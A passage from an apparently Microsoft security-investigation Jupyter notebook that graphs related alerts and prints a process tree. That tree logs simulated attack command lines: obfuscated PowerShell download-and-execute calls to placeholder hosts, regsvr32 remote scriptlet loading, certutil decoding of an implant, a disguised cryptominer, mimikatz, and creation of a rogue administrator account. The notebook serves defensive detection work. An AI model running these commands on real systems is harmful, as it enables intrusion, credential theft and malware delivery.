U17nDofp+0Hdy9XCVT4CPjPqPSZJc3Vz1cJWHFXkpWl5+XpKkh6s/ck37Ik2DJEmNGjXWK6900vjxUzRixFiNHPmR2rRprsTERDVp8qyefba5/v779E29J0WKFNWgQR/pnXf+I8kmPz8/TZ78iby9vVODUIomTRqXNm+tcOEimjBharrPZ+zYyfrrr6Pq0sUxdLJ48Uc1cOAQ/fLL6puqoU2btjp1KkRt2jRXrly5FRRULO2x9evXatGiBZo27VPVqFFLXbp0Vffur8jFxSYfH1+NGzdFMTHR6tu3t95/v58KFCigIUNGqGPHYFWsWOm6fRR3znb1rdds5iFJxy9dipLdnm1rxF0SGOinCxcinV0GcE/Qv2Fl9G/kVD3WdFdRv6AsH0+KT9TacT/ryXaVle+RwCzbnYo8qSkNpt+LEgG5uNiUN6+vJD0s6cTNnMMdPAAAAOAqZw78rS0zN6l0o9LXDXdAdkTAAwAAAK7y4OOF1WZiO/n4eCo6Ot7Z5QC3hEVWAAAAAMAiCHgAAAAAYBEM0QQAAMC/TuAD+XUq8uR123gluisuLvGGzwNkJwQ8AAAA/OsMrD7khm1YJRY5EUM0AQAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAw2ul+wAACQVJREFUAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBFut3uiYRhBkuZKyi/JlNTBNM2oDG08JI2VVFuSh6Sepmmuvv1yAQAAAABZuZM7eB9L+tg0zcck7ZQ0IJM270nKJ+lJSS9I+sIwDNsdXBMAAAAAkIXbCniGYbhLqiNpceqh2ZKCM2naVtJI0zRTTNM8IKmRJAIeAAAAANwDtztEM5+kCNM0k1J/PiupSCbtSkiqaxjGtNRrfWCa5sFbuVDevL63WSJymsBAP2eXANwz9G9YGf0bVkb/Rk5zw4BnGEawpAkZDh+RlJLhmD2L5y8ix92+spJ+MgzjMdM0w2+2wEuXomS3Z7wUrCYw0E8XLkQ6uwzgnqB/w8ro37Ay+jeczcXFdss3vG4Y8EzTXCRp0dXHUodoXjIMw9U0zWRJhSSdyeT0UEkLTNNMkbTXMIxTkgxJ22+pSgAAAADADd3WHDzTNBMlbZJjjp0kdZa0KpOmK660MQzjEUlBcqy4CQAAAAC4y+5kFc03JHUzDOOgHNsg9JckwzC6G4YxJLVNH0kPGoZxQI6w1/VWhmcCAAAAAG7ebe+DZ5pmiKR6mRyfftV/R8hxdw8AAAAAcI/dyR08AAAAAEA2QsADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAW4ebsAq7DVZJcXGzOrgP3CZ81rIz+DSujf8PK6N9wpqv6n+vNnmNLSUm5N9XcuVqSNjm7CAAAAABwstqSNt9Mw+wc8DwlVZZ0VlKyk2sBAAAAgPvNVVIhSTskxd/MCdk54AEAAAAAbgGLrAAAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALIKABwAAAAAW4ebsAvDvZBhGkKS5kvJLMiV1ME0zKkObYpL2SzqWeuicaZqN72uhwC0wDOP/JPWX5C5pomma0zI8Xl7SZ5L8JW2U1N00zaT7XihwG26ifw+S9LKksNRDMzO2AbIrwzD8JW2R1Mw0zRMZHuO7GzkKd/DgLB9L+tg0zcck7ZQ0IJM2lSR9bZpm+dT/Ee6QbRmGUVjSMEm1JJWX1M0wjNIZms2V9JZpmiUl2SS9en+rBG7PTfbvSpLaXfWdTbhDjmAYRlVJmyWVzKIJ393IUQh4uO8Mw3CXVEfS4tRDsyUFZ9K0sqQyhmH8YRjGWsMwyt6nEoHb0VDSWtM0L5umGS1H/25z5cHUO9LepmluTT00W5n3eyA7um7/TlVJ0geGYew1DGOqYRhe971K4Pa8KulNSWcyPsB3N3IiAh6cIZ+kiKuGN5yVVCSTdnFy/NXsSUljJS0zDMPj/pQI3LIH5ejLV2Ts1zd6HMjOrtt/DcPwlbRb0rtyfGfnVuYjM4BsxzTNrqZpbsriYb67keMwBw/3lGEYwZImZDh8RFJKhmP2jOeapvnhVT/+YBjGCEmlJO25mzUCd4mL0vdrm9L36xs9DmRn1+2/qXOom1752TCMcZI+l9TvfhUI3CN8dyPHIeDhnjJNc5GkRVcfSx2ieckwDFfTNJMlFVLmwyJ6yDEH71LqIZukxHtcMnC7TkuqfdXPBZW+X5+Wo69n9TiQnV23f6cunNXQNM3PUw/xfQ2r4LsbOQ5DNHHfmaaZKGmTpLaphzpLWpVJ07qSXpEkwzDqSnKV9Of9qBG4Db9IamAYRqBhGA9Iel7Sj1ceNE0zRFKcYRg1Uw91Uub9HsiOrtu/JcVKGm0YxsOGYdjkmM/0rRPqBO4qvruRExHw4CxvyLEK20E5/ircX5IMw+huGMaQ1Db/ldTIMIz9cszBa2+aJsMikC2Zpvm3HMPR1kn6Q467z9sNw/jBMIxKqc06SJpgGMafknwlTXZOtcCtuVH/Nk3zgqTXJK2QY+sbm6RxTisYuEN8dyMns6WkZJwKBQAAAADIibiDBwAAAAAWQcADAAAAAIsg4AEAAACARRDwAAAAAMAiCHgAAAAAYBEEPAAAAACwCAIeAAAAAFgEAQ8AAAAALOL/AYSewMuAXIckAAAAAElFTkSuQmCC\n", "text/plain": [ "
" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Draw a graph of this (add to entity graph)\n", "%matplotlib notebook\n", "%matplotlib inline\n", "\n", "rel_alert_graph = asi.add_related_alerts(related_alerts=related_alerts,\n", " alertgraph=alertentity_graph)\n", "nbdisp.draw_alert_entity_graph(rel_alert_graph, width=15)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Browse List of Related Alerts\n", "Select an Alert to view details. \n", "\n", "If you want to investigate that alert - copy its *SystemAlertId* property and open a new instance of this notebook to investigate this alert." ] }, { "cell_type": "code", "execution_count": 36, "metadata": { "scrolled": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Selected alert is available as 'related_alert' variable.\n" ] }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "29c32a5c8be14db09010af6e8442dcb4", "version_major": 2, "version_minor": 0 }, "text/plain": [ "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "related_alerts['CompromisedEntity'] = related_alerts['Computer']\n", "\n", "def disp_full_alert(alert):\n", " global related_alert\n", " related_alert = asi.SecurityAlert(alert)\n", " nbdisp.display_alert(related_alert, show_entities=True)\n", "\n", "print('Selected alert is available as \\'related_alert\\' variable.')\n", "rel_alert_select = asi.AlertSelector(alerts=related_alerts, action=disp_full_alert)\n", "rel_alert_select.display()\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "# Get Process Tree\n", "If the alert has a process entity this section tries to retrieve the entire process tree to which that process belongs.\n", "\n", "Notes:\n", "- The alert must have a process entity\n", "- Only processes started within the query time boundary will be included\n", "- Ancestor and descented processes are retrieved to two levels (i.e. the parent and grandparent of the alert process plus any child and grandchild processes).\n", "- Sibling processes are the processes that share the same parent as the alert process\n", "- This can be a long-running query, especially if a wide time window is used! Caveat Emptor!\n", "\n", "The source (alert) process is shown in red.\n", "\n", "What's shown for each process:\n", "- Each process line is indented according to its position in the tree hierarchy\n", "- Top line fields:\n", " - \\[relationship to source process:lev# - where # is the hops away from the source process\\]\n", " - Process creation date-time (UTC)\n", " - Process Image path\n", " - PID - Process Id\n", " - SubjSess - the session Id of the process spawning the new process\n", " - TargSess - the new session Id if the process is launched in another context/session. If 0/0x0 then the process is launched in the same session as its parent\n", "- Second line fields:\n", " - Process command line\n", " - Account - name of the account context in which the process is running" ] }, { "cell_type": "code", "execution_count": 37, "metadata": { "scrolled": true }, "outputs": [ { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "fb8dd959970f442bb8d327a7b967c531", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HTML(value='

Set query time boundaries

')" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "f73c5883346947ce84eeff3b1ecf61ad", "version_major": 2, "version_minor": 0 }, "text/plain": [ "HBox(children=(DatePicker(value=datetime.date(2019, 1, 15), description='Origin Date'), Text(value='05:15:20',…" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/vnd.jupyter.widget-view+json": { "model_id": "201a773846884f7e9bfeed8e924d43f7", "version_major": 2, "version_minor": 0 }, "text/plain": [ "VBox(children=(IntRangeSlider(value=(-60, 10), description='Time Range (min):', layout=Layout(width='80%'), mi…" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# set the origin time to the time of our alert\n", "query_times = asi.QueryTime(units='minute', origin_time=security_alert.origin_time)\n", "query_times.display()" ] }, { "cell_type": "code", "execution_count": 38, "metadata": { "scrolled": true }, "outputs": [ { "data": { "text/html": [ "

Alert process tree:

" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[parent:lev1] 2019-01-15 05:15:03.047000 C:\\Windows\\System32\\cmd.exe [PID: 0xbc8, SubjSess:0x3e7, TargSess:0xfaac27]
(Cmdline: 'cmd.exe /c c:\\Diagnostics\\WindowsSimulateDetections.bat c:\\Diagnostics\\UserTmp') [Account: 'MSTICAlertsWin1$']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:03.057000 C:\\Windows\\System32\\conhost.exe [PID: 0x10cc, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:03.247000 C:\\Windows\\System32\\cmd.exe [PID: 0x1288, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c echo Any questions about the commands executed here then please contact one of') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:03.257000 C:\\Windows\\System32\\cmd.exe [PID: 0x3dc, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com; liengli@microsoft.com') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:03.390000 C:\\Windows\\System32\\net.exe [PID: 0x2a8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net user adm1nistrator Bob_testing /add') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:03.503000 C:\\Windows\\System32\\net.exe [PID: 0xfc0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net share TestShare=c:\\testshare /Grant:Users,Read') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:03.830000 C:\\Windows\\System32\\net.exe [PID: 0xcd8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net use q: \\\\MSTICAlertsWin1\\TestShare Bob_testing /User:adm1nistrator') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:08.723000 C:\\Windows\\System32\\net.exe [PID: 0x12fc, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net use q: /delete') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:10.667000 C:\\Windows\\System32\\net.exe [PID: 0xc18, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net share TestShare /delete') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:10.707000 C:\\Windows\\System32\\net.exe [PID: 0x1274, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net user adm1nistrator /delete') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:10.753000 C:\\Diagnostics\\UserTmp\\regsvr32.exe [PID: 0xd10, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:11.260000 C:\\Diagnostics\\UserTmp\\suchost.exe [PID: 0x103c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:11.413000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0xbb4, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:11.537000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x123c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:11.767000 C:\\Diagnostics\\UserTmp\\certutil.exe [PID: 0xa08, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'certutil -decode delme.b64 implant.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:11.947000 C:\\Diagnostics\\UserTmp\\implant.exe [PID: 0x240, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'implant.exe k111') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:12.003000 C:\\Diagnostics\\UserTmp\\implant.exe [PID: 0x1250, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'implant.exe 81ed03caf6901e444c72ac67d192fb9c') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:12.067000 C:\\Diagnostics\\UserTmp\\implant.exe [PID: 0x140c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'implant.exe -b -t -m') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:12.123000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x142c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\" ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:12.393000 C:\\Diagnostics\\UserTmp\\powershell.exe [PID: 0x14ac, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\powershell -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:12.513000 C:\\Diagnostics\\UserTmp\\powershell.exe [PID: 0x14e0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\powershell Invoke-Shellcode.ps1') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:12.670000 C:\\Diagnostics\\UserTmp\\powershell.exe [PID: 0x1514, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\powershell Invoke-ReverseDnsLookup.ps1') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:12.847000 C:\\Diagnostics\\UserTmp\\powershell.exe [PID: 0x154c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\powershell -command \"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'raw/'+'pqCwEm17'));\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[child:lev1] 2019-01-15 05:15:13.053000 C:\\Windows\\System32\\win32calc.exe [PID: 0x15a0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '\"C:\\Windows\\System32\\win32calc.exe\" ') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:13.100000 C:\\Diagnostics\\UserTmp\\powershell.exe [PID: 0x15b4, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\powershell.exe -c \"$a = 'Download'+'String'+\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\";$b = '(New-Object' + ' Net.WebClient)';'$b.$a' | Out-File .\\evil.ps1;\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:13.220000 C:\\Diagnostics\\UserTmp\\powershell.exe [PID: 0x15e8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\"{2}{0}{1}\"-f ':/','/paste','tp')+'bin/'+'raw/'+(\"{1}{0}\"-f'Em17','pqCw')));}') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:13.337000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x161c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \".\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER -^SOURCE^ 'http://somedomain/best-kitten-names-1.jpg' ^-d^EStIN^At^IOn ^'C:\\Users\\$env:UserName\\AppData\\Local\\Temp\\kittens1.jpg';\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:13.453000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x1650, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \".\\n^e^t u^se^r\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:13.567000 C:\\Diagnostics\\UserTmp\\powershell.exe [PID: 0x1684, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\powershell -enc JAB0ACAAPQAgACcAZABpAHIAJwA7AA0ACgAmACAAKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAnACkAIAAkAHQA') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:13.683000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x16b8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:13.793000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x16ec, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:14.033000 C:\\Diagnostics\\UserTmp\\cmd.exe [PID: 0x1724, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'cmd /c \"echo blahtest > \\\\.\\pipe\\blahtest\"') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:14.157000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x1758, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\reg.exe add \"hkcu\\console\" /v windowposition /t reg_dword /d 33554556 /f') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:14.293000 C:\\Windows\\Fonts\\csrss.exe [PID: 0x178c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\windows\\fonts\\csrss.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:14.493000 C:\\Windows\\Fonts\\conhost.exe [PID: 0x17e4, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'c:\\windows\\fonts\\conhost.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:14.563000 C:\\Diagnostics\\UserTmp\\mimikatz.exe [PID: 0x1440, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\mimikatz.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:14.613000 C:\\Diagnostics\\UserTmp\\rundll32.exe [PID: 0x1434, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\rundll32.exe /C c:\\windows\\fonts\\conhost.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:14.693000 C:\\Diagnostics\\UserTmp\\regsvr32.exe [PID: 0x123c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:14.770000 C:\\Windows\\System32\\tasklist.exe [PID: 0x240, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'tasklist') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.160000 C:\\Windows\\System32\\net.exe [PID: 0x1490, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net localgroup Administrators') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.233000 C:\\Windows\\System32\\whoami.exe [PID: 0x142c, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'whoami') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.283000 C:\\Windows\\System32\\HOSTNAME.EXE [PID: 0x14b0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'hostname') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.317000 C:\\Windows\\System32\\NETSTAT.EXE [PID: 0x14c0, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'netstat -an') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.440000 C:\\Windows\\System32\\net.exe [PID: 0x14fc, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net user Bob1 /domain') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.483000 C:\\Windows\\System32\\net.exe [PID: 0x14e8, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net user BobX /domain') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.520000 C:\\Windows\\System32\\net.exe [PID: 0x1520, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: 'net group \"Domain Admins\" /domain') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.553000 C:\\Diagnostics\\UserTmp\\rundll32.exe [PID: 0x1550, SubjSess:0xfaac27, TargSess:0x0]
(Cmdline: '.\\rUnDlL32 /C ShEll32Control_RanDLL.dll') [Account: 'MSTICAdmin']
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
[sibling:lev1] 2019-01-15 05:15:15.570000 C:\\Diagnostics\\UserTmp\\reg.exe [PID: 0x1560, SubjSess:0xfaac27, TargSess:0x0]
